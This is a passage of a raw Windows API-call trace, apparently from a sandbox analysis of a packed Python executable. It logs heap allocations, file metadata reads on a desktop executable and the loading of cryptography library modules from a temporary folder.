hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de758 | out: hHeap=0x2ad0000) returned 1 [0076.070] GetCurrentThreadId () returned 0x9b0 [0076.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de818 [0076.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0076.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84f80 [0076.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.070] GetCurrentThreadId () returned 0x9b0 [0076.070] GetCurrentThreadId () returned 0x9b0 [0076.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84e78 [0076.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84fb0 [0076.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.070] GetCurrentThreadId () returned 0x9b0 [0076.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84e00 [0076.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de818 | out: hHeap=0x2ad0000) returned 1 [0076.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e60 | out: hHeap=0x2ad0000) returned 1 [0076.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f80 | out: hHeap=0x2ad0000) returned 1 [0076.071] GetCurrentThreadId () returned 0x9b0 [0076.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e00 | out: hHeap=0x2ad0000) returned 1 [0076.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84f98 [0076.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.071] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84da0, Size=0x10) returned 0x2c84d88 [0076.071] GetCurrentThreadId () returned 0x9b0 [0076.071] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84fc8, Size=0x10) returned 0x2c84e90 [0076.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.072] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.072] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.072] GetCurrentThreadId () returned 0x9b0 [0076.072] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de738 [0076.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84fb0 | out: hHeap=0x2ad0000) returned 1 [0076.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f98 | out: hHeap=0x2ad0000) returned 1 [0076.072] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de748 [0076.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0076.072] GetCurrentThreadId () returned 0x9b0 [0076.072] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0076.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de748 | out: hHeap=0x2ad0000) returned 1 [0076.072] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84ea8 [0076.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0076.072] GetCurrentThreadId () returned 0x9b0 [0076.072] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84de8 [0076.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.073] GetCurrentThreadId () returned 0x9b0 [0076.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6b8 [0076.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ea8 | out: hHeap=0x2ad0000) returned 1 [0076.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de698 [0076.073] GetCurrentThreadId () returned 0x9b0 [0076.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0076.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84f68 [0076.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6a8 | out: hHeap=0x2ad0000) returned 1 [0076.073] GetCurrentThreadId () returned 0x9b0 [0076.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84fe0 [0076.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.074] GetCurrentThreadId () returned 0x9b0 [0076.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de778 [0076.074] GetCurrentThreadId () returned 0x9b0 [0076.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0076.074] GetCurrentThreadId () returned 0x9b0 [0076.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0076.074] GetCurrentThreadId () returned 0x9b0 [0076.074] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84e90, Size=0x20) returned 0x30284e0 [0076.074] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84d88, Size=0x20) returned 0x30282d8 [0076.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.075] GetCurrentThreadId () returned 0x9b0 [0076.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.075] GetCurrentThreadId () returned 0x9b0 [0076.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.075] GetCurrentThreadId () returned 0x9b0 [0076.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.075] GetCurrentThreadId () returned 0x9b0 [0076.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84cf8 [0076.075] GetCurrentThreadId () returned 0x9b0 [0076.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.075] GetCurrentThreadId () returned 0x9b0 [0076.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.075] GetCurrentThreadId () returned 0x9b0 [0076.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.075] GetCurrentThreadId () returned 0x9b0 [0076.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0076.076] GetCurrentThreadId () returned 0x9b0 [0076.076] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84e18 [0076.076] GetCurrentThreadId () returned 0x9b0 [0076.076] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0076.076] GetCurrentThreadId () returned 0x9b0 [0076.076] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84f98 [0076.076] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84f68 [0076.076] GetCurrentThreadId () returned 0x9b0 [0076.076] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84e60 [0076.076] GetCurrentThreadId () returned 0x9b0 [0076.076] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84fb0 [0076.076] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31839a0, Size=0x14) returned 0x3183900 [0076.076] GetCurrentThreadId () returned 0x9b0 [0076.076] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.076] GetCurrentThreadId () returned 0x9b0 [0076.076] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.077] GetCurrentThreadId () returned 0x9b0 [0076.077] GetLastError () returned 0x0 [0076.077] GetCurrentThreadId () returned 0x9b0 [0076.077] GetCurrentThreadId () returned 0x9b0 [0076.077] GetCurrentThreadId () returned 0x9b0 [0076.077] GetCurrentThreadId () returned 0x9b0 [0076.077] GetCurrentThreadId () returned 0x9b0 [0076.077] GetCurrentThreadId () returned 0x9b0 [0076.077] GetCurrentThreadId () returned 0x9b0 [0076.077] GetCurrentThreadId () returned 0x9b0 [0076.077] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84fc8, Size=0x20) returned 0x3028328 [0076.077] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84fe0, Size=0x20) returned 0x3028558 [0076.077] GetCurrentThreadId () returned 0x9b0 [0076.077] GetCurrentThreadId () returned 0x9b0 [0076.078] GetCurrentThreadId () returned 0x9b0 [0076.078] GetCurrentThreadId () returned 0x9b0 [0076.078] GetCurrentThreadId () returned 0x9b0 [0076.078] GetCurrentThreadId () returned 0x9b0 [0076.078] GetCurrentThreadId () returned 0x9b0 [0076.078] GetCurrentThreadId () returned 0x9b0 [0076.078] GetCurrentThreadId () returned 0x9b0 [0076.078] GetCurrentThreadId () returned 0x9b0 [0076.078] GetCurrentThreadId () returned 0x9b0 [0076.078] GetCurrentThreadId () returned 0x9b0 [0076.078] GetCurrentThreadId () returned 0x9b0 [0076.078] GetCurrentThreadId () returned 0x9b0 [0076.078] GetCurrentThreadId () returned 0x9b0 [0076.079] GetCurrentThreadId () returned 0x9b0 [0076.079] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028558, Size=0x40) returned 0x2a19328 [0076.079] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028328, Size=0x40) returned 0x2a18e18 [0076.079] GetCurrentThreadId () returned 0x9b0 [0076.079] GetCurrentThreadId () returned 0x9b0 [0076.079] GetCurrentThreadId () returned 0x9b0 [0076.079] GetCurrentThreadId () returned 0x9b0 [0076.079] GetCurrentThreadId () returned 0x9b0 [0076.079] GetCurrentThreadId () returned 0x9b0 [0076.079] GetCurrentThreadId () returned 0x9b0 [0076.079] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1ffe8, Size=0x48) returned 0x31d6398 [0076.079] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1ffb8, Size=0x48) returned 0x31d64d8 [0076.079] GetCurrentThreadId () returned 0x9b0 [0076.080] GetCurrentThreadId () returned 0x9b0 [0076.080] GetCurrentThreadId () returned 0x9b0 [0076.080] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31d64d8, Size=0x30) returned 0x3262ec8 [0076.080] GetCurrentThreadId () returned 0x9b0 [0076.080] GetCurrentThreadId () returned 0x9b0 [0076.080] GetCurrentThreadId () returned 0x9b0 [0076.080] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de6a8, Size=0x14) returned 0x3183860 [0076.080] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3262ec8, Size=0x20) returned 0x3028558 [0076.080] GetCurrentThreadId () returned 0x9b0 [0076.080] GetCurrentThreadId () returned 0x9b0 [0076.080] GetCurrentThreadId () returned 0x9b0 [0076.080] GetCurrentThreadId () returned 0x9b0 [0076.080] GetCurrentThreadId () returned 0x9b0 [0076.080] GetCurrentThreadId () returned 0x9b0 [0076.080] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028558, Size=0x40) returned 0x2a19250 [0076.081] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028300, Size=0x40) returned 0x2a19298 [0076.081] GetCurrentThreadId () returned 0x9b0 [0076.081] GetCurrentThreadId () returned 0x9b0 [0076.081] GetCurrentThreadId () returned 0x9b0 [0076.081] GetCurrentThreadId () returned 0x9b0 [0076.081] GetCurrentThreadId () returned 0x9b0 [0076.081] GetCurrentThreadId () returned 0x9b0 [0076.081] GetCurrentThreadId () returned 0x9b0 [0076.081] GetCurrentThreadId () returned 0x9b0 [0076.081] GetCurrentThreadId () returned 0x9b0 [0076.081] GetCurrentThreadId () returned 0x9b0 [0076.081] GetCurrentThreadId () returned 0x9b0 [0076.081] GetCurrentThreadId () returned 0x9b0 [0076.081] GetCurrentThreadId () returned 0x9b0 [0076.082] GetCurrentThreadId () returned 0x9b0 [0076.082] GetCurrentThreadId () returned 0x9b0 [0076.082] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31d6578, Size=0x30) returned 0x3262fa8 [0076.082] GetCurrentThreadId () returned 0x9b0 [0076.082] GetCurrentThreadId () returned 0x9b0 [0076.082] GetCurrentThreadId () returned 0x9b0 [0076.082] GetCurrentThreadId () returned 0x9b0 [0076.082] GetCurrentThreadId () returned 0x9b0 [0076.082] GetCurrentThreadId () returned 0x9b0 [0076.082] GetCurrentThreadId () returned 0x9b0 [0076.082] GetCurrentThreadId () returned 0x9b0 [0076.082] GetCurrentThreadId () returned 0x9b0 [0076.082] GetCurrentThreadId () returned 0x9b0 [0076.082] GetCurrentThreadId () returned 0x9b0 [0076.083] GetCurrentThreadId () returned 0x9b0 [0076.083] GetCurrentThreadId () returned 0x9b0 [0076.083] GetCurrentThreadId () returned 0x9b0 [0076.083] GetCurrentThreadId () returned 0x9b0 [0076.083] GetCurrentThreadId () returned 0x9b0 [0076.083] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31838c0, Size=0x10) returned 0x2c84d88 [0076.083] GetCurrentThreadId () returned 0x9b0 [0076.083] GetCurrentThreadId () returned 0x9b0 [0076.083] GetCurrentThreadId () returned 0x9b0 [0076.083] GetCurrentThreadId () returned 0x9b0 [0076.083] GetCurrentThreadId () returned 0x9b0 [0076.083] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84d88, Size=0x20) returned 0x3028558 [0076.083] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84f08, Size=0x20) returned 0x30281c0 [0076.083] GetCurrentThreadId () returned 0x9b0 [0076.084] GetCurrentThreadId () returned 0x9b0 [0076.084] GetCurrentThreadId () returned 0x9b0 [0076.084] GetCurrentThreadId () returned 0x9b0 [0076.084] GetCurrentThreadId () returned 0x9b0 [0076.084] GetCurrentThreadId () returned 0x9b0 [0076.084] GetCurrentThreadId () returned 0x9b0 [0076.084] GetCurrentThreadId () returned 0x9b0 [0076.084] GetCurrentThreadId () returned 0x9b0 [0076.084] GetCurrentThreadId () returned 0x9b0 [0076.084] GetCurrentThreadId () returned 0x9b0 [0076.084] GetCurrentThreadId () returned 0x9b0 [0076.084] GetCurrentThreadId () returned 0x9b0 [0076.084] GetCurrentThreadId () returned 0x9b0 [0076.085] GetCurrentThreadId () returned 0x9b0 [0076.085] GetCurrentThreadId () returned 0x9b0 [0076.085] GetCurrentThreadId () returned 0x9b0 [0076.085] GetCurrentThreadId () returned 0x9b0 [0076.085] GetCurrentThreadId () returned 0x9b0 [0076.085] GetCurrentThreadId () returned 0x9b0 [0076.085] GetCurrentThreadId () returned 0x9b0 [0076.085] GetCurrentThreadId () returned 0x9b0 [0076.085] GetCurrentThreadId () returned 0x9b0 [0076.085] GetCurrentThreadId () returned 0x9b0 [0076.085] GetCurrentThreadId () returned 0x9b0 [0076.085] GetCurrentThreadId () returned 0x9b0 [0076.085] GetCurrentThreadId () returned 0x9b0 [0076.086] GetCurrentThreadId () returned 0x9b0 [0076.086] GetCurrentThreadId () returned 0x9b0 [0076.086] GetCurrentThreadId () returned 0x9b0 [0076.086] GetCurrentThreadId () returned 0x9b0 [0076.086] GetCurrentThreadId () returned 0x9b0 [0076.086] GetCurrentThreadId () returned 0x9b0 [0076.086] GetCurrentThreadId () returned 0x9b0 [0076.086] GetCurrentThreadId () returned 0x9b0 [0076.086] GetCurrentThreadId () returned 0x9b0 [0076.086] GetCurrentThreadId () returned 0x9b0 [0076.086] GetCurrentThreadId () returned 0x9b0 [0076.086] GetCurrentThreadId () returned 0x9b0 [0076.086] GetCurrentThreadId () returned 0x9b0 [0076.086] GetCurrentThreadId () returned 0x9b0 [0076.087] GetCurrentThreadId () returned 0x9b0 [0076.087] GetCurrentThreadId () returned 0x9b0 [0076.087] GetCurrentThreadId () returned 0x9b0 [0076.087] GetCurrentThreadId () returned 0x9b0 [0076.087] GetCurrentThreadId () returned 0x9b0 [0076.087] GetCurrentThreadId () returned 0x9b0 [0076.087] GetCurrentThreadId () returned 0x9b0 [0076.087] GetCurrentThreadId () returned 0x9b0 [0076.087] GetCurrentThreadId () returned 0x9b0 [0076.087] GetCurrentThreadId () returned 0x9b0 [0076.087] GetCurrentThreadId () returned 0x9b0 [0076.087] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a201c8, Size=0x18) returned 0x3183920 [0076.087] GetCurrentThreadId () returned 0x9b0 [0076.088] GetCurrentThreadId () returned 0x9b0 [0076.088] GetCurrentThreadId () returned 0x9b0 [0076.088] GetCurrentThreadId () returned 0x9b0 [0076.088] GetCurrentThreadId () returned 0x9b0 [0076.088] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183920, Size=0x14) returned 0x31839e0 [0076.088] GetCurrentThreadId () returned 0x9b0 [0076.088] GetCurrentThreadId () returned 0x9b0 [0076.088] GetCurrentThreadId () returned 0x9b0 [0076.088] GetCurrentThreadId () returned 0x9b0 [0076.088] GetCurrentThreadId () returned 0x9b0 [0076.088] GetCurrentThreadId () returned 0x9b0 [0076.088] GetCurrentThreadId () returned 0x9b0 [0076.088] GetCurrentThreadId () returned 0x9b0 [0076.088] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84d70, Size=0x20) returned 0x30281c0 [0076.089] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84e00, Size=0x20) returned 0x3028378 [0076.089] GetCurrentThreadId () returned 0x9b0 [0076.089] GetCurrentThreadId () returned 0x9b0 [0076.089] GetCurrentThreadId () returned 0x9b0 [0076.089] GetCurrentThreadId () returned 0x9b0 [0076.089] GetCurrentThreadId () returned 0x9b0 [0076.089] GetCurrentThreadId () returned 0x9b0 [0076.089] GetCurrentThreadId () returned 0x9b0 [0076.089] GetCurrentThreadId () returned 0x9b0 [0076.089] GetCurrentThreadId () returned 0x9b0 [0076.089] GetCurrentThreadId () returned 0x9b0 [0076.089] GetCurrentThreadId () returned 0x9b0 [0076.089] GetCurrentThreadId () returned 0x9b0 [0076.090] GetCurrentThreadId () returned 0x9b0 [0076.090] GetCurrentThreadId () returned 0x9b0 [0076.090] GetCurrentThreadId () returned 0x9b0 [0076.090] GetCurrentThreadId () returned 0x9b0 [0076.090] GetCurrentThreadId () returned 0x9b0 [0076.090] GetCurrentThreadId () returned 0x9b0 [0076.090] GetCurrentThreadId () returned 0x9b0 [0076.090] GetCurrentThreadId () returned 0x9b0 [0076.090] GetCurrentThreadId () returned 0x9b0 [0076.090] GetCurrentThreadId () returned 0x9b0 [0076.090] GetCurrentThreadId () returned 0x9b0 [0076.090] GetCurrentThreadId () returned 0x9b0 [0076.090] GetCurrentThreadId () returned 0x9b0 [0076.091] GetCurrentThreadId () returned 0x9b0 [0076.091] GetCurrentThreadId () returned 0x9b0 [0076.091] GetCurrentThreadId () returned 0x9b0 [0076.091] GetCurrentThreadId () returned 0x9b0 [0076.091] GetCurrentThreadId () returned 0x9b0 [0076.091] GetCurrentThreadId () returned 0x9b0 [0076.092] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.092] GetFileType (hFile=0x300) returned 0x1 [0076.092] GetFileType (hFile=0x300) returned 0x1 [0076.092] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0076.092] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.092] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.092] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.092] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.093] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.093] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.093] CloseHandle (hObject=0x300) returned 1 [0076.093] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.093] GetFileType (hFile=0x300) returned 0x1 [0076.093] GetFileType (hFile=0x300) returned 0x1 [0076.094] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0076.094] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.094] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.094] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.094] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.094] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.094] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.094] CloseHandle (hObject=0x300) returned 1 [0076.103] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", nBufferLength=0x208, lpBuffer=0x9ba018, lpFilePart=0x9ba014 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", lpFilePart=0x9ba014*="_file_system.pyc") returned 0x48 [0076.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0076.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de818 | out: hHeap=0x2ad0000) returned 1 [0076.103] GetLastError () returned 0x0 [0076.103] GetLastError () returned 0x0 [0076.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0076.103] GetCurrentThreadId () returned 0x9b0 [0076.103] GetLastError () returned 0x0 [0076.103] GetLastError () returned 0x0 [0076.103] GetLastError () returned 0x0 [0076.103] GetLastError () returned 0x0 [0076.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f50 | out: hHeap=0x2ad0000) returned 1 [0076.104] LoadLibraryA (lpLibFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\..\\Cipher\\_raw_ctr.pyd") [0076.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x302bd30 [0076.108] GetCurrentThreadId () returned 0x9b0 [0076.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34afee0 [0076.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdc778 [0076.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0076.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84f50 [0076.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84e48 [0076.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6c8 [0076.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de718 [0076.108] RtlReAllocateHeap 